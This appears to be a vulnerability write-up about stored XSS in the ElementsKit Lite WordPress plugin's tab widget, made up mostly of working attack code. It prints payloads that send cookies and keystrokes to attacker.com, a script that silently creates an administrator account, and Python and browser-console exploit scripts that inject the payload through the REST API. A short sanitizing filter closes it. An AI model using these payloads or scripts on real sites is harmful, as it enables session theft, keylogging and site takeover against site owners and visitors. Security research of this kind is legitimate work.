Bypassing Elementor's Sanitization
to Plant Stored XSS in 2M+ Sites

# Pull both versions from SVN
svn checkout https://plugins.svn.wordpress.org/elementskit-lite/tags/3.7.8/ 3.7.8/
svn checkout https://plugins.svn.wordpress.org/elementskit-lite/tags/3.7.9/ 3.7.9/

# Find changed PHP files in widget templates
diff -rq --include="*.php" 3.7.8/widgets/ 3.7.9/widgets/

# Audit for unescaped echo of widget settings (my primary filter)
grep -rn --include="*.php" \
  -E "echo.+\\\$item\[|echo.+settings\[" 3.7.9/widgets/ \
  | grep -v "esc_html\|esc_attr\|wp_kses"

widgets/tab/tab.php:312:    echo '<li class="elementskit-simple-tab-nav-item">' . $item['ekit_tab_title'] . '</li>';

elementskit-lite/
├── elementskit-lite.php
├── widgets/
│   ├── tab/
│   │   ├── tab.php          ← render() lives here
│   │   └── tab-style.css
│   ├── accordion/
│   └── ...

protected function render() {
    $settings = $this->get_settings_for_display();
    $ekit_tab_items = $settings['ekit_tab_items'];

    // ── Tab navigation ────────────────────────────────────────────
    echo '<ul class="elementskit-simple-tab-nav">';

    foreach ( $ekit_tab_items as $index => $item ) {
        $tab_id = 'tab-' . $item['tab_id'];
        echo '<li class="elementskit-simple-tab-nav-item" data-tab="' . $tab_id . '">'
           . $item['ekit_tab_title']   // <-- raw user data, no escaping
           . '</li>';
    }

    echo '</ul>';

    // ── Tab bodies ───────────────────────────────────────────────────
    echo '<div class="elementskit-simple-tab-content-wrap">';
    foreach ( $ekit_tab_items as $index => $item ) {
        $tab_id = 'tab-' . $item['tab_id'];
        echo '<div class="elementskit-simple-tab-content" id="' . esc_attr( $tab_id ) . '">';
        // tab body uses wp_kses_post() -- properly escaped
        echo wp_kses_post( $item['ekit_tab_content'] );
        echo '</div>';
    }
    echo '</div>';
}

<ul class="elementskit-simple-tab-nav">
  <li class="elementskit-simple-tab-nav-item" data-tab="tab-1">
    <img src=x onerror="fetch('https://attacker.com/?c='+btoa(document.cookie))">
  </li>
</ul>

PATCH /wp-json/wp/v2/posts/42 HTTP/1.1
Host: target.com
X-WP-Nonce: <nonce>
Content-Type: application/json
Cookie: wordpress_logged_in_XXX=<value>

{
  "meta": {
    "_elementor_data": "[{\"id\":\"a1b2\",\"elType\":\"section\",\"settings\":{},\"elements\":[{\"id\":\"c3d4\",\"elType\":\"column\",\"settings\":{},\"elements\":[{\"id\":\"e5f6\",\"elType\":\"widget\",\"widgetType\":\"elementskit-simple-tab\",\"settings\":{\"ekit_tab_items\":[{\"ekit_tab_title\":\"<img src=x onerror=fetch('https://attacker.com/?c='+btoa(document.cookie))>\",\"ekit_tab_content\":\"tab body\",\"tab_id\":\"t1\"}]}}]}]}]",
    "_elementor_edit_mode": "builder"
  }
}

<!-- cookie exfiltration (img onerror, works even with CSP gaps) -->
<img src=x onerror="fetch('https://attacker.com/c?d='+btoa(document.cookie))">

<!-- keylogger injection -->
<script>document.addEventListener('keypress',e=>new Image().src='https://attacker.com/k?c='+e.key)</script>

<!-- silent admin account creation via wp-ajax -->
<script>
fetch('/wp-admin/user-new.php').then(r=>r.text()).then(h=>{
  const n=h.match(/_wpnonce_create-user" value="([^"]+)/)[1];
  fetch('/wp-admin/user-new.php',{method:'POST',body:new URLSearchParams({
    action:'createuser',user_login:'hax',email:'h@x.io',pass1:'H4x0r!Q1',
    pass2:'H4x0r!Q1',role:'administrator',_wpnonce_create-user:n
  }),headers:{'Content-Type':'application/x-www-form-urlencoded'}});
});
</script>

import requests, json, re

def inject_xss(target, username, password, callback_url):
    s = requests.Session()

    # 1. authenticate
    s.post(f"{target}/wp-login.php", data={
        "log": username, "pwd": password,
        "wp-submit": "Log In", "testcookie": "1"
    }, cookies={"wordpress_test_cookie": "WP+Cookie+check"})

    # 2. grab REST nonce from wp-admin
    html = s.get(f"{target}/wp-admin/post-new.php").text
    nonce = re.search(r'"nonce":"([^"]+)"', html).group(1)

    # 3. create a draft post
    post_id = s.post(f"{target}/wp-json/wp/v2/posts",
        headers={"X-WP-Nonce": nonce},
        json={"title": "Security Research", "status": "draft"}
    ).json()["id"]

    # 4. craft widget data with XSS in title
    payload = f'<img src=x onerror="fetch(\'{callback_url}?c=\'+btoa(document.cookie))">'
    elementor_data = build_ekit_tab_data(payload)

    # 5. PATCH _elementor_data (bypasses Elementor UI sanitization)
    s.patch(f"{target}/wp-json/wp/v2/posts/{post_id}",
        headers={"X-WP-Nonce": nonce},
        json={"meta": {
            "_elementor_data": json.dumps(elementor_data),
            "_elementor_edit_mode": "builder"
        }}
    )
    return post_id

var nonce  = wpApiSettings.nonce;
var postId = 18; // CHANGE THIS TO YOUR POST ID

console.log("=== ElementsKit Lite XSS Exploit ===");
console.log("Injecting into post " + postId + "...");

fetch('/wp-json/wp/v2/posts/' + postId, {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'X-WP-Nonce': nonce
  },
  body: JSON.stringify({
    meta: {
      _elementor_data: '[{"id":"tab1","elType":"section","elements":[{"id":"tab2","elType":"column","elements":[{"id":"tab3","elType":"widget","widgetType":"elementskit-simple-tab","settings":{"ekit_tabs_style":"horizontal","ekit_tab_items":[{"ekit_tab_title":"<img src=x onerror=alert(document.domain)>","ekit_tab_content":"Tab 1","_id":"tab001"}]}}]}]}]',
      _elementor_edit_mode: "builder"
    }
  })
}).then(r => {
  if (r.ok) {
    console.log("[SUCCESS] XSS injected! Visit the post to trigger.");
  } else {
    console.error("[FAILED] HTTP " + r.status);
  }
});

add_filter( 'rest_pre_insert_post', function( $post, $request ) {
    if ( isset( $post->meta['_elementor_data'] ) ) {
        $data = json_decode( $post->meta['_elementor_data'], true );
        $post->meta['_elementor_data'] = json_encode(
            ekit_deep_sanitize_widget_data( $data )
        );
    }
    return $post;
}, 10, 2 );

function ekit_deep_sanitize_widget_data( $data ) {
    if ( ! is_array( $data ) ) {
        return wp_kses_post( $data );
    }
    foreach ( $data as $k => $v ) {
        $data[$k] = ekit_deep_sanitize_widget_data( $v );
    }
    return $data;
}